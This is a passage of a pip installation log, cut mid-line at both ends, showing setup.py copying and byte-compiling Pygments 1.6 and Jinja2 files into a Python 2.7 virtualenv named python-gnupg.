build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/fruity.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/perldoc.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/pastie.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/bw.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/manni.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/murphy.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/friendly.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/trac.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/__init__.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/default.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/autumn.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/monokai.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/colorful.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/native.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/tango.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/borland.py -> build/lib.linux-x86_64-2.7/pygments/styles + + creating build/lib.linux-x86_64-2.7/pygments/filters + + copying pygments/filters/__init__.py -> build/lib.linux-x86_64-2.7/pygments/filters + + running install_lib + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/scanner.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/shell.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/special.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_robotframeworklexer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/sql.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/templates.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_openedgebuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_asybuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_clbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_sourcemodbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/jvm.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/hdl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_luabuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_vimbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/asm.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/web.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/compiled.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_phpbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_scilab_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_postgres_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/foxpro.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/math.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/dotnet.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_lassobuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/dalvik.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/agile.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/functional.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/parsers.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_mapping.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/lexers/_stan_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers + + copying build/lib.linux-x86_64-2.7/pygments/style.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/lexer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/console.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/plugin.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/cmdline.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/token.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/unistring.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/rtf.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/terminal256.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/bbcode.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/img.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/svg.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/terminal.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + copying build/lib.linux-x86_64-2.7/pygments/formatters/_mapping.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/rrt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/vim.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/vs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/emacs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/fruity.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/perldoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/pastie.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/bw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/manni.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/murphy.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/friendly.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/trac.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/default.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/autumn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/monokai.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/colorful.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/native.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/tango.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + copying build/lib.linux-x86_64-2.7/pygments/styles/borland.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters + + copying build/lib.linux-x86_64-2.7/pygments/filters/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters + + copying build/lib.linux-x86_64-2.7/pygments/util.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/formatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + copying build/lib.linux-x86_64-2.7/pygments/filter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/scanner.py to scanner.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/shell.py to shell.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/special.py to special.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_robotframeworklexer.py to _robotframeworklexer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/sql.py to sql.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/templates.py to templates.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_openedgebuiltins.py to _openedgebuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_asybuiltins.py to _asybuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_clbuiltins.py to _clbuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_sourcemodbuiltins.py to _sourcemodbuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/jvm.py to jvm.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/text.py to text.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/hdl.py to hdl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_luabuiltins.py to _luabuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_vimbuiltins.py to _vimbuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/asm.py to asm.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/web.py to web.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/compiled.py to compiled.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_phpbuiltins.py to _phpbuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_scilab_builtins.py to _scilab_builtins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_postgres_builtins.py to _postgres_builtins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/foxpro.py to foxpro.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/math.py to math.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/other.py to other.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/dotnet.py to dotnet.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_lassobuiltins.py to _lassobuiltins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/dalvik.py to dalvik.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/agile.py to agile.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/functional.py to functional.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/parsers.py to parsers.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_mapping.py to _mapping.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_stan_builtins.py to _stan_builtins.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/style.py to style.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexer.py to lexer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/console.py to console.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/plugin.py to plugin.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/cmdline.py to cmdline.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/token.py to token.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/unistring.py to unistring.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/rtf.py to rtf.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/terminal256.py to terminal256.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/latex.py to latex.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/html.py to html.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/bbcode.py to bbcode.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/img.py to img.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/other.py to other.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/svg.py to svg.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/terminal.py to terminal.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters/_mapping.py to _mapping.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/rrt.py to rrt.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/vim.py to vim.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/vs.py to vs.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/emacs.py to emacs.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/fruity.py to fruity.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/perldoc.py to perldoc.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/pastie.py to pastie.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/bw.py to bw.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/manni.py to manni.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/murphy.py to murphy.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/friendly.py to friendly.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/trac.py to trac.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/default.py to default.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/autumn.py to autumn.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/monokai.py to monokai.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/colorful.py to colorful.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/native.py to native.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/tango.py to tango.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles/borland.py to borland.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/util.py to util.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatter.py to formatter.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filter.py to filter.pyc + + running install_egg_info + + running egg_info + + writing Pygments.egg-info/PKG-INFO + + writing top-level names to Pygments.egg-info/top_level.txt + + writing dependency_links to Pygments.egg-info/dependency_links.txt + + writing entry points to Pygments.egg-info/entry_points.txt + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'Pygments.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'Pygments.egg-info/SOURCES.txt' + + Copying Pygments.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Pygments-1.6-py2.7.egg-info + + running install_scripts + + Installing pygmentize script to /home/isis/.virtualenvs/python-gnupg/bin + + writing list of installed files to '/tmp/pip-8iPICV-record/install-record.txt' + + Running setup.py install for Jinja2 + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Jinja2/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-Xo3vHh-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/compiler.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/defaults.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/sandbox.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/utils.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/nodes.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/lexer.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/ext.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/exceptions.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/environment.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/constants.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/_compat.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/debug.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/visitor.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/bccache.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/optimizer.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/filters.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/__init__.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/_stringdefs.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/runtime.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/loaders.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/tests.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/parser.py -> build/lib.linux-x86_64-2.7/jinja2 + + copying jinja2/meta.py -> build/lib.linux-x86_64-2.7/jinja2 + + creating build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/regression.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/utils.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/loader.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/api.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/ext.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/doctests.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/debug.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/core_tags.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/filters.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/__init__.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/security.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/imports.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/bytecode_cache.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/lexnparse.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/tests.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + copying jinja2/testsuite/inheritance.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite + + creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res + + copying jinja2/testsuite/res/__init__.py -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res + + running egg_info + + writing requirements to Jinja2.egg-info/requires.txt + + writing Jinja2.egg-info/PKG-INFO + + writing top-level names to Jinja2.egg-info/top_level.txt + + writing dependency_links to Jinja2.egg-info/dependency_links.txt + + writing entry points to Jinja2.egg-info/entry_points.txt + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'Jinja2.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + warning: no files found matching '*' under directory 'custom_fixers' + + warning: no previously-included files matching '*' found under directory 'docs/_build' + + warning: no previously-included files matching '*.pyc' found under directory 'jinja2' + + warning: no previously-included files matching '*.pyc' found under directory 'docs' + + warning: no previously-included files matching '*.pyo' found under directory 'jinja2' + + warning: no previously-included files matching '*.pyo' found under directory 'docs' + + writing manifest file 'Jinja2.egg-info/SOURCES.txt' + + creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates + + copying jinja2/testsuite/res/templates/broken.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates + + copying jinja2/testsuite/res/templates/syntaxerror.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates + + copying jinja2/testsuite/res/templates/test.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates + + creating build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo + + copying jinja2/testsuite/res/templates/foo/test.html -> build/lib.linux-x86_64-2.7/jinja2/testsuite/res/templates/foo + + running install_lib + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/compiler.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/defaults.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/sandbox.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/utils.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/jinja2 + + copying build/lib.linux-x86_64-2.7/jinja2/lexer.py -> 